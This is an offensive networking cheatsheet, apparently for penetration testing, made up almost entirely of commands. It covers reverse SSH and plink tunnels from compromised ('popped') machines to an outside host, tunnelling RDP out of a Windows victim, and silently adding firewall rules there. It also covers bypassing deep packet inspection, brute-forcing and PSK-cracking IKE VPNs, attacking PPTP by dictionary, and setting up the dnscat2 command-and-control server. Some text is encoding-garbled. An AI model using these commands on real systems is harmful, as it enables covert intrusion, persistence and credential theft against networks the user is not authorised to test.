Networking

```
Useful Networking Cheatsheet
----------------------------

[+] Setting up an Ethernet bridge in Ubuntu/Kali Linux

# Install bridge-utils
sudo apt-get install bridge-utils

# Disable network-manager + firewall

# Configuration

ifconfig
ifconfig eth0 0.0.0.0
ifconfig eth1 0.0.0.0
brctl addbr br0
brctl addif br0 eth0
brctl addif br0 eth1
ifconfig mybridge up
dhclient br0 on devices

sudo tcpdump -i mybridge

# adding routes
route add 192.168.1.0/24 gw 10.10.0.43

# Port Forwarding - accept traffic on a given IP address and port andredirect it to a different IP address and port
apt-get install rinetd
cat /etc/rinetd.conf
\# bindadress bindport connectaddress connectport
w.x.y.z 53 a.b.c.d 80

# SSH Local Port Forwarding: supports bi-directional communication channels
ssh <gateway> -L <local port to listen>:<remotehost>:<remote port>

# SSH Dynamic Port Forwarding: create a SOCKS4 proxy on our local
attacking box to tunnel ALL incoming traffic to ANY host in the DMZ
network on ANY PORT
ssh -D <local proxy port> -p <remote port><target>

# Proxychains - Perform nmap scan within a DMZ from an external computer

# Create reverse SSH tunnel from Popped machine on :2222
ssh -f -N -T -R22222:localhost:22 yourpublichost.example.com
ssh -f -N -R 2222:<local host>:22 root@<remote host>

# Create a Dynamic application-level port forward on 8080 thru 2222
ssh -f -N -D <local host>:8080 -p 2222 hax0r@<remote host>

# Leverage the SSH SOCKS server to perform Nmap scan on network using proxy chains
proxychains nmap --top-ports=20 -sT -Pn $ip/24

# HTTP Tunneling
nc -vvn $ip 8888

# Traffic Encapsulation - Bypassing deep packet inspection

http tunnel
On server side:
sudo hts -F <server ip addr>:<port of your app> 80
On client side:
sudo htc -P <my proxy.com:proxy port> -F <port of your app> <server ip addr>:80 stunnel

# Tunnel Remote Desktop (RDP) from a Popped Windows machine to your network
Tunnel on port 22
plink -l root -pw pass -R 3389:<localhost>:3389 <remote host>

# Port 22 blocked? Try port 80? or 443?
plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P80
```

```
# Tunnel Remote Desktop (RDP) from a Popped Windows using HTTP Tunnel (bypass deep packet inspection)

# Windows machine add required firewall rules without prompting the user
netsh advfirewall firewall add rule name="httptunnel_client" dir=in action=allow program="httptunnel_client.exe" enable
netsh advfirewall firewall add rule name="3000" dir=in action=allow protocol=TCP localport=3000
netsh advfirewall firewall add rule name="1080" dir=in action=allow protocol=TCP localport=1080
netsh advfirewall firewall add rule name="1079" dir=in action=allow protocol=TCP localport=1079

# Start the http tunnel client
httptunnel_client.exe

# Create HTTP reverse shell by connecting to localhost port 3000
plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P 3000

# VLAN Hopping
git clone https://github.com/nccgroup/vlan-hopping.git
chmod 700 frogger.sh
./frogger.sh`


# VPN Hacking
- Identify VPN servers:
./udp-protocol-scanner.pl -p ike $ip

- Scan a range for VPN servers:
./udp-protocol-scanner.pl -p ike -f ip.txt

# Use IKEForce to enumerate or dictionary attack VPN servers:
pip install pyip
git clone https://github.com/SpiderLabs/ikeforce.git

# Perform IKE VPN enumeration with IKEForce:
./ikeforce.py TARGET-IP â€“e â€“w wordlists/groupnames.dic

### Bruteforce IKE VPN using IKEForce:
./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1

Use ike-scan to capture the PSK hash:
ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key
ike-scan â€“M â€“A â€“n example\_group -P hash-file.txt TARGET-IP

Use psk-crack to crack the PSK hash

psk-crack hash-file.txt
pskcrack
psk-crack -b 5 TARGET-IPkey
psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
psk-crack -d /path/to/dictionary-file TARGET-IP-key


# PPTP Hacking Identifying PPTP, it listens on TCP: 1723
NMAP PPTP Fingerprint:

nmap â€“Pn -sV -p 1723 TARGET(S)
PPTP Dictionary Attack

thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst



# SSH Pivoting - SSH pivoting from one network to another:
ssh -D <local host>:1010 -p 22 user@<remote host>


# Attacking Machine Installation:

apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install
```

```
# Run dnscat2:
ruby ./dnscat2.rb
dnscat2> New session established: 1422
dnscat2> session -i 1422
```